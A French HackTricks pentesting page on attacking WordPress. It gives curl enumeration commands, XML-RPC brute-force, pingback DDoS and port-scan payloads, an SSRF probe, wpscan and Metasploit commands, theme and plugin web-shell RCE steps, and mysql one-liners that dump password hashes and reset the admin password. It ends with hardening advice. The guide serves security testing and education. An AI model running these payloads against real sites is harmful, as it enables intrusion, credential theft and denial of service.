Wordpress
Reading time: 16 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Informations de base
-
Les fichiers téléchargés vont à :
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Les fichiers de thèmes peuvent être trouvés dans /wp-content/themes/, donc si vous modifiez un php du thème pour obtenir RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le thème twentytwelve, vous pouvez accéder au fichier 404.php dans : /wp-content/themes/twentytwelve/404.php
-
Une autre URL utile pourrait être : /wp-content/themes/default/404.php
-
Dans wp-config.php, vous pouvez trouver le mot de passe root de la base de données.
-
Chemins de connexion par défaut à vérifier : /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Fichiers principaux de WordPress
index.php
license.txt
contient des informations utiles telles que la version de WordPress installée.wp-activate.php
est utilisé pour le processus d'activation par e-mail lors de la configuration d'un nouveau site WordPress.- Dossiers de connexion (peuvent être renommés pour se cacher) :
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
est un fichier qui représente une fonctionnalité de WordPress qui permet de transmettre des données avec HTTP agissant comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par l'API REST de WordPress.- Le dossier
wp-content
est le répertoire principal où les plugins et thèmes sont stockés. wp-content/uploads/
est le répertoire où tous les fichiers téléchargés sur la plateforme sont stockés.wp-includes/
est le répertoire où les fichiers principaux sont stockés, tels que les certificats, les polices, les fichiers JavaScript et les widgets.wp-sitemap.xml
Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML avec tous les articles publics et les types d'articles et taxonomies consultables publiquement.
Post exploitation
- Le fichier
wp-config.php
contient des informations requises par WordPress pour se connecter à la base de données, telles que le nom de la base de données, l'hôte de la base de données, le nom d'utilisateur et le mot de passe, les clés d'authentification et les sels, et le préfixe de la table de la base de données. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage.
Permissions des utilisateurs
- Administrateur
- Éditeur : Publie et gère ses propres articles et ceux des autres
- Auteur : Publie et gère ses propres articles
- Contributeur : Écrit et gère ses articles mais ne peut pas les publier
- Abonné : Parcourt les articles et édite son profil
Énumération passive
Obtenir la version de WordPress
Vérifiez si vous pouvez trouver les fichiers /license.txt
ou /readme.html
À l'intérieur du code source de la page (exemple de https://wordpress.org/support/article/pages/) :
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- Fichiers de lien CSS
- Fichiers JavaScript
Obtenir des plugins
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Obtenir des thèmes
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Extraire les versions en général
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Énumération active
Plugins et Thèmes
Vous ne pourrez probablement pas trouver tous les Plugins et Thèmes possibles. Pour les découvrir tous, vous devrez forcer activement une liste de Plugins et Thèmes (espérons pour nous qu'il existe des outils automatisés qui contiennent ces listes).
Utilisateurs
- ID Brute : Vous obtenez des utilisateurs valides d'un site WordPress en forçant les IDs des utilisateurs :
curl -s -I -X GET http://blog.example.com/?author=1
Si les réponses sont 200 ou 30X, cela signifie que l'id est valide. Si la réponse est 400, alors l'id est invalide.
- wp-json : Vous pouvez également essayer d'obtenir des informations sur les utilisateurs en interrogeant :
curl http://blog.example.com/wp-json/wp/v2/users
Un autre point de terminaison /wp-json/
qui peut révéler des informations sur les utilisateurs est :
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Notez que ce point de terminaison n'expose que les utilisateurs qui ont fait un post. Seules les informations sur les utilisateurs ayant cette fonctionnalité activée seront fournies.
Notez également que /wp-json/wp/v2/pages pourrait leak des adresses IP.
- Énumération des noms d'utilisateur de connexion : Lors de la connexion à
/wp-login.php
, le message est différent selon que le nom d'utilisateur existe ou non.
XML-RPC
Si xml-rpc.php
est actif, vous pouvez effectuer une attaque par force brute sur les identifiants ou l'utiliser pour lancer des attaques DoS sur d'autres ressources. (Vous pouvez automatiser ce processus en utilisant ceci par exemple).
Pour voir s'il est actif, essayez d'accéder à /xmlrpc.php et envoyez cette requête :
Vérifier
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Bruteforce des identifiants
wp.getUserBlogs
, wp.getCategories
ou metaWeblog.getUsersBlogs
sont quelques-unes des méthodes qui peuvent être utilisées pour bruteforcer des identifiants. Si vous pouvez en trouver un, vous pouvez envoyer quelque chose comme :
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Le message "Nom d'utilisateur ou mot de passe incorrect" dans une réponse de code 200 devrait apparaître si les identifiants ne sont pas valides.
En utilisant les identifiants corrects, vous pouvez télécharger un fichier. Dans la réponse, le chemin apparaîtra (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Il existe également un moyen plus rapide de brute-forcer les identifiants en utilisant system.multicall
car vous pouvez essayer plusieurs identifiants dans la même requête :
.png)
Contourner 2FA
Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne prend pas en charge 2FA. Donc, si vous avez des identifiants valides mais que l'entrée principale est protégée par 2FA, vous pourriez être en mesure d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant 2FA. Notez que vous ne pourrez pas effectuer toutes les actions que vous pouvez faire via la console, mais vous pourriez toujours être en mesure d'accéder à RCE comme l'explique Ippsec dans https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS ou scan de port
Si vous pouvez trouver la méthode pingback.ping dans la liste, vous pouvez faire en sorte que Wordpress envoie une requête arbitraire à n'importe quel hôte/port.
Cela peut être utilisé pour demander à des milliers de sites Wordpress d'accéder à un emplacement (ce qui provoque un DDoS à cet emplacement) ou vous pouvez l'utiliser pour faire en sorte que Wordpress scanne un réseau interne (vous pouvez indiquer n'importe quel port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Si vous obtenez faultCode avec une valeur supérieure à 0 (17), cela signifie que le port est ouvert.
Jetez un œil à l'utilisation de system.multicall
dans la section précédente pour apprendre comment abuser de cette méthode pour provoquer un DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Ce fichier existe généralement à la racine du site Wordpress : /wp-cron.php
Lorsque ce fichier est accédé, une requête MySQL "lourde" est effectuée, il pourrait donc être utilisé par des attaquants pour causer un DoS.
De plus, par défaut, le wp-cron.php
est appelé à chaque chargement de page (chaque fois qu'un client demande une page Wordpress), ce qui, sur des sites à fort trafic, peut causer des problèmes (DoS).
Il est recommandé de désactiver Wp-Cron et de créer un véritable cronjob sur l'hôte qui effectue les actions nécessaires à intervalles réguliers (sans causer de problèmes).
/wp-json/oembed/1.0/proxy - SSRF
Essayez d'accéder à https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net et le site Worpress peut vous faire une requête.
Voici la réponse lorsque cela ne fonctionne pas :
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Cet outil vérifie si le methodName: pingback.ping et pour le chemin /wp-json/oembed/1.0/proxy existent, et s'ils existent, il essaie de les exploiter.
Outils Automatiques
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Accéder en écrasant un bit
Plus qu'une véritable attaque, c'est une curiosité. Dans le CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man, vous pouviez inverser 1 bit de n'importe quel fichier wordpress. Ainsi, vous pouviez inverser la position 5389
du fichier /var/www/html/wp-includes/user.php
pour NOP l'opération NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modifier un php du thème utilisé (identifiants administratifs nécessaires)
Apparence → Éditeur de thème → Modèle 404 (à droite)
Changez le contenu pour un shell php :
Recherchez sur internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici : http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Vous pouvez utiliser :
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
Plugin RCE
PHP plugin
Il peut être possible de télécharger des fichiers .php en tant que plugin.
Créez votre backdoor php en utilisant par exemple :
Puis ajoutez un nouveau plugin :
Téléchargez le plugin et appuyez sur Installer maintenant :
Cliquez sur Procced :
Probablement, cela ne fera apparemment rien, mais si vous allez dans Médias, vous verrez votre shell téléchargé :
Accédez-y et vous verrez l'URL pour exécuter le reverse shell :
Uploading and activating malicious plugin
Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est réalisé via le tableau de bord WordPress comme suit :
- Acquisition du plugin : Le plugin est obtenu à partir d'une source comme Exploit DB comme ici.
- Installation du plugin :
- Naviguez vers le tableau de bord WordPress, puis allez à
Tableau de bord > Plugins > Télécharger le plugin
. - Téléchargez le fichier zip du plugin téléchargé.
- Activation du plugin : Une fois le plugin installé avec succès, il doit être activé via le tableau de bord.
- Exploitation :
- Avec le plugin "reflex-gallery" installé et activé, il peut être exploité car il est connu pour être vulnérable.
- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site.
- Il est noté que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress.
Le contenu comprend des aides visuelles décrivant les étapes dans le tableau de bord WordPress pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le pentesting avec une autorisation explicite.
Pour des étapes plus détaillées, consultez : https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike est un script conçu pour escalader une vulnérabilité Cross-Site Scripting (XSS) à Remote Code Execution (RCE) ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez ce post. Il fournit un support pour les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :
- Escalade de privilèges : Crée un utilisateur dans WordPress.
- (RCE) Téléchargement de plugin personnalisé (backdoor) : Téléchargez votre plugin personnalisé (backdoor) dans WordPress.
- (RCE) Édition de plugin intégré : Éditez des plugins intégrés dans WordPress.
- (RCE) Édition de thème intégré : Éditez des thèmes intégrés dans WordPress.
- (Personnalisé) Exploits personnalisés : Exploits personnalisés pour des plugins/thèmes WordPress tiers.
Post Exploitation
Extraire les noms d'utilisateur et les mots de passe :
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Changer le mot de passe administrateur :
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Pentest des Plugins Wordpress
Surface d'Attaque
Savoir comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans son fonctionnement. Vous pouvez découvrir comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans cet article de blog.
wp_ajax
L'une des façons dont un plugin peut exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci pourraient contenir des bogues de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un nonce Wordpress que tout utilisateur authentifié dans l'instance Wordpress pourrait avoir (indépendamment de son rôle).
Ce sont les fonctions qui peuvent être utilisées pour exposer une fonction dans un plugin :
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
L'utilisation de nopriv
rend le point de terminaison accessible à tous les utilisateurs (même ceux non authentifiés).
caution
De plus, si la fonction vérifie simplement l'autorisation de l'utilisateur avec la fonction wp_verify_nonce
, cette fonction vérifie seulement si l'utilisateur est connecté, elle ne vérifie généralement pas le rôle de l'utilisateur. Ainsi, des utilisateurs à faible privilège pourraient avoir accès à des actions à haut privilège.
- REST API
Il est également possible d'exposer des fonctions de WordPress en enregistrant une API REST à l'aide de la fonction register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Le permission_callback
est un rappel à une fonction qui vérifie si un utilisateur donné est autorisé à appeler la méthode API.
Si la fonction intégrée __return_true
est utilisée, elle ignorera simplement la vérification des permissions de l'utilisateur.
- Accès direct au fichier php
Bien sûr, WordPress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, dans le cas où un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle sera exploitable par n'importe quel utilisateur.
Protection de WordPress
Mises à jour régulières
Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Confirmez également que la mise à jour automatique est activée dans wp-config.php :
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Aussi, n'installez que des plugins et thèmes WordPress fiables.
Plugins de sécurité
Autres recommandations
- Supprimez l'utilisateur admin par défaut
- Utilisez des mots de passe forts et 2FA
- Révisez périodiquement les permissions des utilisateurs
- Limitez les tentatives de connexion pour prévenir les attaques par force brute
- Renommez le fichier
wp-admin.php
et n'autorisez l'accès qu'en interne ou depuis certaines adresses IP.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.